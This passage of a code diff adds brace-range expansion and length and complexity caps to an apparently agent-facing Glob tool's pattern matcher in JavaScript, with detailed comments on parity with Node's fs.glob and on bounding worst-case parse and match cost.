2230
+ * multiplies the count, so a ~30-group chain well within the length cap
2231
+ * would already exceed a million). {@link expandBraces} computes the exact
2232
+ * expansion count FIRST, in one linear pass that saturates at
2233
+ * `GLOB_BRACE_EXPANSION_CAP + 1`, and refuses (returns `null`) before a single
2234
+ * alternative string is built when the count is over — never a partial
2235
+ * expansion, never a silent truncation.
2236
+ */
2237
+ const GLOB_BRACE_EXPANSION_CAP = 1000
2238
+
2239
+ /**
2240
+ * #7951 — matches a `{X..Y}` / `{X..Y..S}` "sequence expression" group body
2241
+ * (the text strictly between `{` and its matching `}`) the same shape
2242
+ * `fs.glob` recognizes — verified directly: `{1..3}` → 1,2,3; `{01..03}` →
2243
+ * zero-padded; `{a..c}` → a,b,c; `{3..1}`/`{c..a}` → descending; `{1..10..2}`
2244
+ * → stepped. `$`-anchored on both alternatives: a stray extra character,
2245
+ * including a comma, fails both and falls through to ordinary comma-group /
2246
+ * literal handling — a range and a comma-alternation are mutually exclusive
2247
+ * by construction, never a precedence question.
2248
+ *
2249
+ * Two shapes only: an optionally-signed decimal integer on both sides
2250
+ * (optionally-signed decimal step), or a single ASCII letter on both sides
2251
+ * (same optional step). A NON-letter, non-digit single-character endpoint
2252
+ * (`{^..a}`) is deliberately NOT recognized as a range here — a narrower
2253
+ * scope than a hypothetical arbitrary-code-point walk, chosen because no
2254
+ * real Glob call needs a punctuation-to-punctuation range. `fs.glob`'s own
2255
+ * `brace-expansion` uses these same two regexes (read from Node 22's bundled
2256
+ * copy), so `{[..]}` is not a range there either: both leave it literal and
2257
+ * hand `[..]` to the class parser.
2258
+ */
2259
+ const GLOB_BRACE_RANGE_RE = /^(-?\d+)\.\.(-?\d+)(?:\.\.(-?\d+))?$|^([A-Za-z])\.\.([A-Za-z])(?:\.\.(-?\d+))?$/
2260
+
2261
+ /**
2262
+ * Parse a range GROUP BODY against {@link GLOB_BRACE_RANGE_RE}. Returns
2263
+ * `null` when the body does not match, OR when it matches but the step is
2264
+ * zero (`{1..10..0}`) — which `fs.glob` itself does not fail gracefully for
2265
+ * (measured directly: it THROWS `RangeError: Invalid array length`,
2266
+ * synchronously, from inside its own iterator, not a "no matches" result).
2267
+ * Refusing to treat a zero step as a range at all — falling back to ordinary
2268
+ * literal `{...}` handling, the same as any other non-range body — is a
2269
+ * deliberate divergence: this module never throws synchronously out of
2270
+ * pattern compilation for attacker-controlled input. The permanent parity
2271
+ * harness (byok-glob-fs-glob-parity.test.js) deliberately excludes a
2272
+ * zero-step pattern from its oracle-based table for the same reason ITS
2273
+ * oracle call would crash outright — see that file's comment on the `range/`
2274
+ * pattern block; byok-tool-executor.test.js's "range expansion (#7951)"
2275
+ * describe block pins the fail-closed behavior directly instead.
2276
+ *
2277
+ * Returns `{ count, nth(k) }` on success. `count` is computed ARITHMETICALLY
2278
+ * — no iteration, so it stays cheap for a range far too large to ever
2279
+ * materialize (`{1..999999999999}`) — and `nth(k)` (0-indexed) lazily
2280
+ * formats the k-th member. `nth` is only ever called by {@link expandBraces}'s
2281
+ * `build` pass, itself only reached once the WHOLE pattern's total expansion
2282
+ * count has already been proven `<= GLOB_BRACE_EXPANSION_CAP` — the same
2283
+ * count-before-materialize discipline #7945 established for comma groups.
2284
+ * A count of exactly 1 (`{5..5}`, `{1..3..5}`) is still an expansion: the
2285
+ * braces and the `..` are replaced by the one member.
2286
+ *
2287
+ * EXACT INTEGERS (#7951 review) — a numeric range is computed in BigInt, not
2288
+ * Number. `\d+` has no length limit, and in float arithmetic two equal
2289
+ * 400-digit endpoints are both `Infinity`, so `end - start` is `NaN` and the
2290
+ * count was `NaN`: every `>= cap` comparison false, and the group silently
2291
+ * expanded to NOTHING (a "No matches" for a pattern that names a real file).
2292
+ * Past 2^53 a float also rounds (`9007199254740993` → `...992`) and prints
2293
+ * in exponent form (`1e+21`). BigInt keeps every endpoint, step, count and
2294
+ * member exact at any length, for ~0.04ms at 2,000 digits. `fs.glob` itself
2295
+ * uses float arithmetic and THROWS `RangeError: Invalid array length` on
2296
+ * these shapes (its loop stops advancing once `i + step === i`), so there is
2297
+ * no oracle answer to match; the exact expansion is the one bash gives.
2298
+ *
2299
+ * PADDING (verified directly against `fs.glob`, and read from its bundled
2300
+ * `brace-expansion`: `pad = n.some(isPadded)` over ALL THREE parts, width
2301
+ * from the two endpoints only): when any of start, end or step has a leading
2302
+ * zero after its optional sign (`/^-?0\d/` — a lone `"0"` does not count, it
2303
+ * has no second digit to pad), every generated member is zero-padded so its
2304
+ * own printed length (sign included) equals the WIDER of the two endpoints'
2305
+ * own printed lengths: `{001..10}` and `{1..010}` both produce
2306
+ * `001, 002, ... 010` (width 3, from whichever side is wider),
2307
+ * `{1..10..01}` produces `01, 02, ... 10` (the padded STEP turns padding on;
2308
+ * width 2 comes from `10`), and `{-01..1}` produces `-01, 000, 001` (width 3
2309
+ * — the `-` counts toward the width, so a positive member gets one more zero
2310
+ * than the padded positive endpoint's own digit count).
2311
+ *
2312
+ * LETTER RANGES: both endpoints must independently be a single ASCII letter
2313
+ * — mixed case is legal (verified: `{a..C}` and `{Z..a}` both expand). The
2314
+ * walk is a raw UTF-16 code-unit step between the two endpoints inclusive,
2315
+ * matching `fs.glob`'s own observed behavior even when it steps through
2316
+ * non-letter code points in between a mixed-case pair (`{Z..a}` yields
2317
+ * `Z [ ] ^ _ ` a` plus one EMPTY member): the backslash code point becomes
2318
+ * an empty string, exactly as `brace-expansion` does (`if (c === '\\') c = ''`
2319
+ * — verified: `x{Z..a}y` matches a real `xy` and never a real `x\y`). A range
2320
+ * member can therefore be empty, so `.{Z..a}.` produces a `..` text segment;
2321
+ * that is harmless here because {@link walkGlob} only ever descends into
2322
+ * entries `opendir` returns, and `opendir` never returns `.` or `..`.
2323
+ */
2324
+ function parseRangeGroup(body) {
2325
+ const m = GLOB_BRACE_RANGE_RE.exec(body)
2326
+ if (!m) return null
2327
+ if (m[1] !== undefined) {
2328
+ const startRaw = m[1]
2329
+ const endRaw = m[2]
2330
+ const stepRaw = m[3]
2331
+ const start = BigInt(startRaw)
2332
+ const end = BigInt(endRaw)
2333
+ const signedStep = stepRaw === undefined ? 1n : BigInt(stepRaw)
2334
+ const step = signedStep < 0n ? -signedStep : signedStep
2335
+ if (step === 0n) return null // refuse, never divide by zero — see the doc above
2336
+ const padded = [startRaw, endRaw, stepRaw].some((s) => s !== undefined && /^-?0\d/.test(s))
2337
+ const width = padded ? Math.max(startRaw.length, endRaw.length) : 0
2338
+ const dir = end >= start ? 1n : -1n
2339
+ const span = end >= start ? end - start : start - end
2340
+ // Exact as a BigInt; as a Number it is exact up to 2^53 and only ever
2341
+ // compared against the cap beyond that (never NaN — at worst Infinity).
2342
+ const count = Number(span / step + 1n)
2343
+ return {
2344
+ count,
2345
+ nth(k) {
2346
+ const val = start + dir * step * BigInt(k)
2347
+ const sign = val < 0n ? '-' : ''
2348
+ const digits = (val < 0n ? -val : val).toString()
2349
+ return sign + (padded ? digits.padStart(Math.max(0, width - sign.length), '0') : digits)
2350
+ },
2351
+ }
2352
+ }
2353
+ const startCh = m[4]
2354
+ const endCh = m[5]
2355
+ const stepRaw = m[6]
2356
+ const rawStep = stepRaw === undefined ? 1 : Math.abs(Number(stepRaw))
2357
+ if (!(rawStep > 0)) return null
2358
+ // Two letters are at most 57 code units apart ('A'..'z'), so any step past
2359
+ // that yields the start alone. Clamping keeps `step * k` finite: a 400-digit
2360
+ // step is `Infinity` as a Number, and `Infinity * 0` is NaN, which made
2361
+ // `nth(0)` a NUL character instead of the start letter (#7951 review).
2362
+ const step = Math.min(rawStep, 64)
2363
+ const startCode = startCh.charCodeAt(0)
2364
+ const endCode = endCh.charCodeAt(0)
2365
+ const dir = endCode >= startCode ? 1 : -1
2366
+ const count = Math.floor(Math.abs(endCode - startCode) / step) + 1
2367
+ return {
2368
+ count,
2369
+ nth(k) {
2370
+ const ch = String.fromCharCode(startCode + dir * step * k)
2371
+ return ch === '\\' ? '' : ch
2372
+ },
2373
+ }
2374
+ }
2375
+
2376
+ /**
2377
+ * #7951 — cheap pre-check, the same shape as {@link hasSlashSpanningBrace}:
2378
+ * does `pattern` contain a brace GROUP (bracket-expression-aware, matching
2379
+ * {@link expandBraces}'s own group-boundary scan) whose body is shaped like a
2380
+ * `{X..Y}` / `{X..Y..S}` range? A range has no representation in the
2381
+ * per-segment `alt`-token compiler (`parseSegmentTokens` never expands
2382
+ * `..`), so — like a slash-spanning brace — it needs the whole-pattern
2383
+ * expand-then-union path {@link expandBraces} provides. This tests only the
2384
+ * SHAPE via {@link GLOB_BRACE_RANGE_RE}; a shape {@link parseRangeGroup}
2385
+ * later refuses for its own reasons (a zero step) is still routed to
2386
+ * `expandBraces` and simply falls back to literal `{...}` text there — a
2387
+ * wasted gate trigger, never a correctness gap.
2388
+ *
2389
+ * The bracket skip below (#7951 review) makes the gate's notion of a group
2390
+ * EXACTLY `expandBraces`'s: `x[{1..3}]` is a bracket expression, not a range,
2391
+ * to both. Without the skip the gate would be a strict superset (it would
2392
+ * fire on `x[{1..3}]`, and `expandBraces` would hand the pattern back
2393
+ * unchanged), so the skip changes cost, not results — which is why it is
2394
+ * pinned by a direct call to this function and cannot be pinned through Glob.
2395
+ */
2396
+ function hasRangeBrace(pattern) {
2397
+ let i = 0
2398
+ const starts = []
2399
+ while (i < pattern.length) {
2400
+ const c = pattern[i]
2401
+ if (c === '[') {
2402
+ const parsed = parseBracketExpr(pattern, i)
2403
+ if (parsed) { i = parsed.next; continue }
2404
+ }
2405
+ if (c === '{') {
2406
+ starts.push(i + 1)
2407
+ } else if (c === '}') {
2408
+ if (starts.length > 0) {
2409
+ const start = starts.pop()
2410
+ if (GLOB_BRACE_RANGE_RE.test(pattern.slice(start, i))) return true
2411
+ }
2412
+ }
2413
+ i++
2414
+ }
2415
+ return false
2416
+ }
2417
+
2418
+ /**
2419
+ * #7918 — expand every brace GROUP in the raw `pattern`, globally (before any
2420
+ * `/`-split), into its alternative combinations. `compileCaseCheck` splits on
2421
+ * `/` before parsing braces at all, so `{a,b/c}` (a brace alternative whose
2422
+ * OPTIONS themselves contain `/`) has no representation in the compiled
2423
+ * per-segment matcher — a real capability loss versus pre-#7910 `main`, which
2424
+ * called `fs.glob` directly and got its native, slash-spanning brace expansion
2425
+ * for free. Each returned string is compiled and walked independently by
2426
+ * {@link runGlob}, results unioned.
2427
+ *
2428
+ * WHAT IS A GROUP: a `{` paired with its `}` by one left-to-right scan that
2429
+ * skips bracket expressions exactly as {@link parseBracketExpr} delimits them
2430
+ * for the PAIRING itself (a `{` or `}` inside `[...]` is a class member, not
2431
+ * brace syntax — the same rule as the per-segment {@link braceCloseTable}, so
2432
+ * the two paths agree on where a group ends; `fs.glob`'s brace expansion is
2433
+ * bracket-oblivious and agrees only on some shapes — see that function's doc
2434
+ * and the parity harness's #7951 known-difference bucket). Its alternatives
2435
+ * are either:
2436
+ * - the top-level-comma-separated pieces of the body, each expanded
2437
+ * recursively — #7951: comma-splitting is deliberately bracket-OBLIVIOUS
2438
+ * (the opposite awareness from pairing), matching `fs.glob`'s own
2439
+ * measured behavior exactly (`{a[,]b,c}` against real files named `a[`,
2440
+ * `]b`, `c` matches all three — a bracket-aware split would only ever
2441
+ * see 2 alternatives, not 3); or
2442
+ * - the members of a `{X..Y}` / `{X..Y..S}` range (#7951, when the body has
2443
+ * no top-level comma and matches {@link GLOB_BRACE_RANGE_RE} — see
2444
+ * {@link parseRangeGroup}).
2445
+ * Sibling groups multiply. An unmatched `{` is a literal. A matched `{...}`
2446
+ * with neither a top-level comma nor a valid range body (`{x}`,
2447
+ * `{nested/dup}`) is NOT expanded here — its braces stay in the output
2448
+ * verbatim (anything expandable nested inside it still expands) — which is
2449
+ * `fs.glob`'s own rule (its brace expansion leaves `{nested/dup}` alone, so
2450
+ * it names a literal `{nested`/`dup}` path) and exactly what pre-#7918 code
2451
+ * did with such a pattern: the per-segment compiler still sees the same text
2452
+ * it always saw (see that compiler's own #7951 fix for the same rule).
2453
+ *
2454
+ * COST (review of #7918, extended by #7951's range support) — this runs
2455
+ * synchronously on the daemon's event loop, where the walk's deadline race
2456
+ * cannot interrupt it, so it must be bounded by the pattern's LENGTH, not by
2457
+ * what the pattern expands to. The first implementation re-scanned every
2458
+ * candidate string from its start once per brace group, calling
2459
+ * `parseBracketExpr` (an O(n) scan to the next `]`) at every `[` it passed:
2460
+ * O(groups × strings × n²). Measured on a 1,998-char pattern well inside
2461
+ * every existing cap (a run of unclosed `[`, eight two-way groups plus one
2462
+ * slash-spanning one, then ~330 one-option `{q}` groups), that was 292
2463
+ * SECONDS of blocked event loop — every session, every WebSocket client, the
2464
+ * tunnel health checks, frozen. Now: one O(n) pass pairs braces and records
2465
+ * each group's top-level commas (a bracket expression's end is an O(1)
2466
+ * lookup in a precomputed next-`]` table instead of a scan), one O(n) pass
2467
+ * computes the exact count — for a range group this is one O(1) arithmetic
2468
+ * division, NEVER a loop over the range's own members, so `{1..100000}` and
2469
+ * `{a..z}{a..z}{a..z}` cost the same handful of operations as `{1..2}` — and
2470
+ * that pass saturates at `GLOB_BRACE_EXPANSION_CAP + 1` no matter how the
2471
+ * cap is approached (comma multiplication or range arithmetic), and only an
2472
+ * under-cap pattern is materialized, at O(count × n) — at most 1,000 strings
2473
+ * of at most 2,000 characters.
2474
+ *
2475
+ * @param {string} pattern
2476
+ * @returns {string[]|null} The expanded patterns (`[pattern]` when nothing
2477
+ * expands), or `null` when there would be more than
2478
+ * {@link GLOB_BRACE_EXPANSION_CAP}.
2479
+ */
2480
+ function expandBraces(pattern) {
2481
+ const n = pattern.length
2482
+ // nextClose[j] — index of the first ']' at or after j, or -1.
2483
+ const nextClose = new Int32Array(n + 1)
2484
+ nextClose[n] = -1
2485
+ for (let j = n - 1; j >= 0; j--) nextClose[j] = pattern[j] === ']' ? j : nextClose[j + 1]
2486
+ // Exactly `parseBracketExpr(pattern, i)?.next ?? -1`, in O(1): same
2487
+ // optional `!`/`^`, same leading-`]`-is-a-member rule, same "no closing
2488
+ // `]`" and "empty body" nulls.
2489
+ const bracketEnd = (i) => {
2490
+ let j = i + 1
2491
+ if (pattern[j] === '!' || pattern[j] === '^') j++
2492
+ const start = j
2493
+ if (pattern[j] === ']') j++
2494
+ if (j >= n) return -1
2495
+ const close = nextClose[j]
2496
+ return close === -1 || close === start ? -1 : close + 1
2497
+ }
2498
+
2499
+ // Pass 1 — pair every '{' with its '}' (BRACKET-AWARE: a `[...]` span is
2500
+ // skipped so any `{`/`}` inside it never affects pairing/depth — #7951)
2501
+ // and record each group's top-level commas (BRACKET-OBLIVIOUS: a comma
2502
+ // inside a `[...]` span still counts, matching `fs.glob` — #7951, see
2503
+ // `expandBraces`'s own doc above). The two awarenesses are opposite on
2504
+ // purpose, so a `[...]` span is scanned character-by-character for a `,`
2505
+ // instead of being jumped over outright, even though it IS still jumped
2506
+ // over for the purpose of `{`/`}` structural matching.
2507
+ const closeOf = new Int32Array(n).fill(-1)
2508
+ const commasOf = new Map()
2509
+ const stack = []
2510
+ for (let i = 0; i < n;) {
2511
+ const c = pattern[i]
2512
+ if (c === '[') {
2513
+ const end = bracketEnd(i)
2514
+ if (end !== -1) {
2515
+ if (stack.length > 0) {
2516
+ const top = stack[stack.length - 1]
2517
+ for (let k = i; k < end; k++) {
2518
+ if (pattern[k] === ',') commasOf.get(top).push(k)
2519
+ }
2520
+ }
2521
+ i = end
2522
+ continue
2523
+ }
2524
+ }
2525
+ if (c === '{') {
2526
+ stack.push(i)
2527
+ commasOf.set(i, [])
2528
+ } else if (c === '}') {
2529
+ if (stack.length > 0) closeOf[stack.pop()] = i
2530
+ } else if (c === ',' && stack.length > 0) {
2531
+ commasOf.get(stack[stack.length - 1]).push(i)
2532
+ }
2533
+ i++
2534
+ }
2535
+ // #7951 — a group with no top-level comma may still be a RANGE
2536
+ // (`parseRangeGroup`, cached per group index since both `count` and
2537
+ // `build` need it). `groupKind` is the single source of truth for whether
2538
+ // a group expands at all, and how.
2539
+ const rangeOf = new Map()
2540
+ function groupKind(i) {
2541
+ if (commasOf.get(i).length > 0) return 'comma'
2542
+ if (!rangeOf.has(i)) rangeOf.set(i, parseRangeGroup(pattern.slice(i + 1, closeOf[i])))
2543
+ return rangeOf.get(i) ? 'range' : null
2544
+ }
2545
+ const expands = (i) => pattern[i] === '{' && closeOf[i] !== -1 && groupKind(i) !== null
2546
+ function alternatives(i) {
2547
+ const ranges = []
2548
+ let start = i + 1
2549
+ for (const comma of commasOf.get(i)) { ranges.push([start, comma]); start = comma + 1 }
2550
+ ranges.push([start, closeOf[i]])
2551
+ return ranges
2552
+ }
2553
+
2554
+ // Pass 2 — the exact count, saturating at CAP + 1. Every position is
2555
+ // visited by exactly one call (an expanding group hands each of its
2556
+ // alternatives to one recursive call and is then jumped over), so this is
2557
+ // O(n) no matter what the pattern expands to — a range group's own count
2558
+ // is one O(1) arithmetic division (`rangeOf.get(i).count`), never a loop
2559
+ // over its members.
2560
+ const OVER = GLOB_BRACE_EXPANSION_CAP + 1
2561
+ function count(lo, hi) {
2562
+ let total = 1
2563
+ for (let i = lo; i < hi;) {
2564
+ if (pattern[i] === '[') {
2565
+ const end = bracketEnd(i)
2566
+ if (end !== -1) { i = end; continue }
2567
+ }
2568
+ if (expands(i)) {
2569
+ let sum
2570
+ if (groupKind(i) === 'range') {
2571
+ sum = rangeOf.get(i).count
2572
+ if (sum >= OVER) return OVER
2573
+ } else {
2574
+ sum = 0
2575
+ for (const [s, e] of alternatives(i)) {
2576
+ sum += count(s, e)
2577
+ if (sum >= OVER) return OVER
2578
+ }
2579
+ }
2580
+ total *= sum
2581
+ if (total >= OVER) return OVER
2582
+ i = closeOf[i] + 1
2583
+ continue
2584
+ }
2585
+ i++
2586
+ }
2587
+ return total
2588
+ }
2589
+ const total = count(0, n)
2590
+ if (total >= OVER) return null
2591
+ // No `total === 1` short-circuit (#7951 review): a total of 1 no longer
2592
+ // means "nothing expands" — a one-member range (`{5..5}`, `{1..3..5}`)
2593
+ // still replaces its braces with that member. `build` returns exactly
2594
+ // `[pattern]` when no group expands, in the same O(n).
2595
+
2596
+ // Pass 3 — materialize (only reached with total <= CAP). A range group's
2597
+ // members are formatted lazily here, one `nth(k)` call per member — never
2598
+ // before this point, and never for a group whose count alone already
2599
+ // proved the whole pattern over cap.
2600
+ function build(lo, hi) {
2601
+ let outs = ['']
2602
+ let literalFrom = lo
2603
+ for (let i = lo; i < hi;) {
2604
+ if (pattern[i] === '[') {
2605
+ const end = bracketEnd(i)
2606
+ if (end !== -1) { i = end; continue }
2607
+ }
2608
+ if (expands(i)) {
2609
+ const literal = pattern.slice(literalFrom, i)
2610
+ let alts
2611
+ if (groupKind(i) === 'range') {
2612
+ const info = rangeOf.get(i)
2613
+ alts = []
2614
+ for (let k = 0; k < info.count; k++) alts.push(info.nth(k))
2615
+ } else {
2616
+ alts = []
2617
+ for (const [s, e] of alternatives(i)) for (const a of build(s, e)) alts.push(a)
2618
+ }
2619
+ const next = []
2620
+ for (const o of outs) for (const a of alts) next.push(o + literal + a)
2621
+ outs = next
2622
+ i = closeOf[i] + 1
2623
+ literalFrom = i
2624
+ continue
2625
+ }
2626
+ i++
2627
+ }
2628
+ const tail = pattern.slice(literalFrom, hi)
2629
+ return tail ? outs.map((o) => o + tail) : outs
2630
+ }
2631
+ return build(0, n)
2632
+ }
2633
+
2634
+ /**
2635
+ * Sentinel distinguishing a `**` (globstar) pattern segment from a compiled
2636
+ * per-segment RegExp in {@link compileCaseCheck}'s `matchers` array. A Symbol
2637
+ * rather than the string `'**'` so it can never collide with a RegExp value.
2638
+ */
2639
+ const CASE_CHECK_GLOBSTAR = Symbol('globstar')
2640
+
2641
+ /**
2642
+ * #7910 review — true when a {@link parseSegmentTokens} token array contains
2643
+ * no `star` (`*`) or `any` (`?`) token anywhere, including recursively inside
2644
+ * every alternative of an `alt` (`{a,b}`) token. `lit`, `class` (a bracket
2645
+ * expression — `[s]`, `[a-z]`) and `none` (an unparseable class, matches
2646
+ * nothing) all count as determinate on their own. Verified directly against
2647
+ * Node 22's `glob()` as the exact line it draws for two behaviors `walkGlob`
2648
+ * has to replicate (see its two call sites): following a symlinked directory,
2649
+ * and letting a trailing `**` close with zero width onto something that
2650
+ * isn't a directory. Both apply for a literal, bracket-class, or brace
2651
+ * segment naming the entry; neither applies when a bare `*`/`?` is what
2652
+ * matched it — a bracket class is syntactically a "wildcard" too, but Node's
2653
+ * own matcher treats it as determinate enough to follow/close on, same as a
2654
+ * literal.
2655
+ */
2656
+ function isDeterminateSegmentTokens(tokens) {
2657
+ return tokens.every((t) => {
2658
+ if (t.t === 'star' || t.t === 'any') return false
2659
+ if (t.t === 'alt') return t.options.every(isDeterminateSegmentTokens)
2660
+ return true // 'lit', 'class', 'none'
271
2661
  })
272
- if (result.exitCode !== 0 && !result.stdout) {
273
- return { content: `Glob failed: ${result.stderr || `exit ${result.exitCode}`}`, isError: true }
2662
+ }
2663
+
2664
+ /**
2665
+ * COMPLEXITY BOUND (#7898 round 4) — the worst-case cost of the whole
2666
+ * segment matcher (`compileCaseCheck` + the per-name matching it drives,
2667
+ * everything below this comment), stated once here rather than re-derived
2668
+ * per round. Every prior round of this PR's review (1 through 3) found a NEW
2669
+ * super-linear blow-up in this code; this is the bound that is supposed to
2670
+ * end that pattern, by covering every construct the matcher accepts, not
2671
+ * just the one a given round happened to fuzz.
2672
+ *
2673
+ * #7901 — this bound covers BOTH callers of the matcher: `caseCheckPasses`
2674
+ * (a full path's real segments, known up front — still exercised directly by
2675
+ * this file's own test suite) and `walkGlob`'s own per-directory-entry use of
2676
+ * `segmentMatches`, which is the SAME per-segment token-array DP, just
2677
+ * invoked incrementally as the walk discovers each real name instead of
2678
+ * post-hoc over an already-known path. The cost accounting below is
2679
+ * unchanged either way — it was always per-segment-matched, not tied to
2680
+ * which function happens to call it.
2681
+ *
2682
+ * Notation:
2683
+ * P = `pattern.length` (the whole Glob pattern, all `/`-segments combined).
2684
+ * N = length of one real on-disk path SEGMENT name (a single filename or
2685
+ * directory name, not the whole path).
2686
+ * D = number of path segments in one candidate match (path depth).
2687
+ * M = number of real directory entries the matcher is invoked on for one
2688
+ * Glob call — bounded above by `globMaxEntriesVisited()` (2,000,000 default)
2689
+ * in `walkGlob`, or by `GLOB_COLLECT_CEILING` (50,000) for the matches
2690
+ * `caseCheckPasses` is called on directly.
2691
+ *
2692
+ * Split into a one-time PARSE and a per-match MATCH phase:
2693
+ *
2694
+ * PARSE — `compileCaseCheck`, called exactly once per Glob call, by `runGlob`
2695
+ * before the walk starts, splits on `/` and parses each segment via
2696
+ * `parseSegmentTokens`. For every construct
2697
+ * except nested braces, parsing a segment is O(segment length) — brackets,
2698
+ * chained (non-nested) `{...}` groups, and runs of `*`/`?` all consume their
2699
+ * own text once, so summed across all segments this is O(P). Chain-nested
2700
+ * braces (`{a,{b,{c,d}}}`, extended to depth d) are the exception:
2701
+ * brace pairing (then a per-`{` scan, since #7951 review one
2702
+ * {@link braceCloseTable} pass per parsed string) + `splitTopLevelCommas`
2703
+ * re-scan the shrinking remainder
2704
+ * at EVERY nesting level, so parse cost for one chain is O(d × average
2705
+ * remaining length) = O(d²) when d is left unbounded (measured: 0.16ms at
2706
+ * d=10, 301.88ms at d=4000/30,890 chars — quadratic scaling confirmed). Since
2707
+ * d ≤ P/2 for any nesting shape, this is O(P²) unbounded, which is why
2708
+ * `globPatternComplexityReason` (tool-transforms.js) now caps BOTH P (2,000
2709
+ * chars) and nesting depth (32 levels) before any of this runs — bounding
2710
+ * either alone would work; both are cheap and the depth cap also closes the
2711
+ * separate stack-overflow hazard below. Under that cap, PARSE is O(P)
2712
+ * (32 is a constant multiplier).
2713
+ *
2714
+ * MATCH — the per-segment `segmentMatches` DP, invoked once per real
2715
+ * directory entry (≤ M times), whether via `caseCheckPasses`'s own path-level
2716
+ * DP that aligns pattern segments (including any number of `**`, at any
2717
+ * position) against a match's D real segments — O(S × D), where S is the
2718
+ * pattern's segment count (S ≤ P) — or via `walkGlob`'s equivalent
2719
+ * incremental frontier update, one real segment at a time, which does the
2720
+ * same S-segments-of-work per entry without ever materializing a full D-long
2721
+ * real-segments array. Within one aligned non-`**` segment,
2722
+ * `segmentMatches` walks that segment's token tree: `*`/`?`/bracket-class
2723
+ * tokens are O(N) each; a `{a,b}` token is O(N) PER OPTION, batched over the
2724
+ * whole reachable-offset set rather than per-offset (the round-3 fix,
2725
+ * `65831e075`) — without that batching, an `alt` token costs O(N ×
2726
+ * |reachable|) = O(N²) worst case, which is exactly what `65831e075` closed
2727
+ * (12.96s for 20×`{*a,*b}` against a 5000-char name, down to 9.41ms after).
2728
+ * Because `advanceToken` commutes with set union for every token type (see
2729
+ * its own doc), this batched cost is paid ONCE per token regardless of brace
2730
+ * nesting shape, and total token count across a whole segment (leaves plus
2731
+ * `alt` nodes, nested or chained) is bounded by that segment's own length —
2732
+ * so one `segmentMatches` call is O(segment length × N), and summed across a
2733
+ * pattern's segments, one `caseCheckPasses` call is O(P × N). Brace
2734
+ * alternatives inside a `**`-adjacent segment, or a segment sitting between
2735
+ * two `**`s, are ordinary segments to this accounting — `**` itself costs no
2736
+ * per-character work at all (`CASE_CHECK_GLOBSTAR` accepts any already-real
2737
+ * segment unconditionally). Across all M candidates: O(M × P × N). #7901 —
2738
+ * `walkGlob`'s own I/O is cheaper than this bound needs: each real directory
2739
+ * is `opendir`'d exactly ONCE regardless of how many entries it contains
2740
+ * (unlike the pre-#7901 `realSegmentNames`, deleted by this fix, which
2741
+ * `readdir`'d per PATH SEGMENT of every candidate — cached, but still
2742
+ * O(M × D) amortized); the walk's directory-open cost is O(number of real
2743
+ * directories under `realRoot` that are actually visited), which this
2744
+ * accounting does not need to charge against the matcher's own bound at all.
2745
+ *
2746
+ * TOTAL, under the complexity cap: O(P) one-time parse + O(M × P × N) match —
2747
+ * polynomial in every one of P, N, D, M, with no term left unbounded by an
2748
+ * attacker-controlled input.
2749
+ *
2750
+ * WHAT THE TIME BOUND DOES NOT COVER: `parseSegmentTokens` (parse) and
2751
+ * `advanceToken`/`advanceTokens` (match, the `alt` branch) are RECURSIVE, one
2752
+ * JS call frame per brace-nesting level, with no depth check of their own —
2753
+ * a CPU-cheap but deep enough pattern overflows the call stack
2754
+ * (`RangeError: Maximum call stack size exceeded`) before it overflows any
2755
+ * time budget. Measured on Node 22.23.2: parse survives to ~depth 5,505,
2756
+ * match only to ~depth 2,000 (fewer, shallower frames per level in the
2757
+ * mutually-recursive `advanceToken`/`advanceTokens` pair) — both far below
2758
+ * what P ≤ 2,000-with-no-depth-cap could otherwise reach, and both
2759
+ * environment-dependent (however much stack the caller already used before
2760
+ * reaching here), which is exactly why `globPatternComplexityReason`'s 32-
2761
+ * level depth cap exists as a SEPARATE check from the length cap rather than
2762
+ * relying on length alone to keep depth incidentally low.
2763
+ */
2764
+
2765
+ /**
2766
+ * #7355 — compile a whole Glob pattern into the pieces {@link caseCheckPasses}
2767
+ * needs: the pattern has no `/` inside a segment (patterns are always
2768
+ * `/`-delimited — `\` is rejected upstream), so it is split on `/` and each
2769
+ * segment compiled independently via {@link parseSegmentTokens}. A `**`
2770
+ * segment compiles to {@link CASE_CHECK_GLOBSTAR} instead of a token array —
2771
+ * it matches zero or more REAL path segments, which are, by construction,
2772
+ * always real Dirent names (a `**` carries no literal text of its own to
2773
+ * mismatch), so segments it absorbs need no case check at all.
2774
+ *
2775
+ * Any number of `**` segments is supported: {@link caseCheckPasses} aligns
2776
+ * `matchers` against a match's real segments with the standard array
2777
+ * wildcard-matching DP (the same shape as string wildcard matching, just one
2778
+ * path segment at a time instead of one character at a time), so it is never
2779
+ * ambiguous which real segments a `**` absorbed in the sense that matters
2780
+ * here — the DP considers every split and accepts if ANY of them makes the
2781
+ * whole pattern match. An earlier version special-cased "at most one `**`"
2782
+ * and failed closed (rejected every match) for two or more, which silently
2783
+ * dropped every match — including already-correctly-cased ones — for an
2784
+ * ordinary pattern shape like `packages/**\/src/**\/*.test.js`; verified
2785
+ * against origin/main pre-#7355 that the identical fixture returned both
2786
+ * matches there, so this was a regression #7355 introduced, not a pre-existing
2787
+ * limitation worth keeping.
2788
+ *
2789
+ * Empty and `.` segments are dropped before compiling: `fs.glob` normalizes
2790
+ * both away in what it actually returns (measured: `./src/*.ts` yields a
2791
+ * Dirent whose name/parentPath never mention the leading `.`; same for a
2792
+ * `.` in the middle, e.g. `src/./x.ts`, or an empty segment from `src//x.ts`)
2793
+ * — it echoes neither a `.` component nor an empty one in any match. Compiling
2794
+ * the pattern's OWN segment list unfiltered made `./src/*.ts` (3 segments:
2795
+ * `.`, `src`, `*.ts`) impossible to align with the real match's 2 segments
2796
+ * (`src`, `x.ts`), failing every match closed. `./`-prefixed patterns are
2797
+ * explicitly allowed (`globPatternEscapeReason` has no rule against a bare
2798
+ * `.` segment), so this was a real regression, not a theoretical one —
2799
+ * verified against origin/main pre-#7355 that `./src/*.ts` matched there.
2800
+ */
2801
+ function compileCaseCheck(pattern) {
2802
+ const patSegs = pattern.split('/').filter((s) => s !== '' && s !== '.')
2803
+ const matchers = patSegs.map((s) => (s === '**' ? CASE_CHECK_GLOBSTAR : parseSegmentTokens(s)))
2804
+ return { matchers }
2805
+ }
2806
+
2807
+ /**
2808
+ * Test a {@link compileCaseCheck} result against a match's REAL segment names,
2809
+ * via the classic wildcard-matching DP over arrays (not strings): `dp[j]` is
2810
+ * true when the matchers processed so far can align with the first `j` real
2811
+ * segments. A literal matcher consumes exactly one real segment (case-
2812
+ * sensitively, via {@link segmentMatches} — see its doc and
2813
+ * {@link parseSegmentTokens}'s for why this is a token-array DP and not a
2814
